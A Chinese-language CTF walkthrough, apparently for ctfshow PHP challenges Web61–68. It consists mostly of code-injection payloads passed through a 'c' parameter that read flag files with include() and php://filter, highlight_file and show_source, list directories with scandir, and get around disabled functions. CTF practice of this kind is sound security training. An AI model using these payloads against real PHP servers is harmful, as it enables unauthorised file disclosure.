c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=flag.php 都可以打通 Web61 c=highlight_file("flag.php"); 还是直接打通 Web62 c=highlight_file("flag.php"); 还是能打通 Web63 服了还是上关payload c=highlight_file("flag.php"); 当然这几关远程包含或者其他方式都可以 c=show_source("flag.php"); Web64 上一关payload继续打 Web65 不会吧不会吧….家人们谁懂啊 上一关的继续打 直接拿 Web66 可以可以show_source被禁止了 我们在看看 反过来看题目给的提示 看来是真被秀了一波 print_r回显 echo是不会显的 scandir读取/根目录以及子目录的信息 c=print_r(scandir("/")); 好在秀一波吧 c=highlight_file("../../../../../flag.txt"); Web67 扣6 查看目录发现print_r被禁止了 不一定非得用print_r var_dump也可以使用 c=var_dump(scandir("/")); 拿 c=highlight_file('/flag.txt'); Web68 打开一看只有一句话 列目录 c=var_dump(scandir("/")); file_get_contents被禁用 我们看看include 没被禁 c=include($_POST[1]);&1=php://filter/convert.base64-encode/resource=/flag.txt OK结束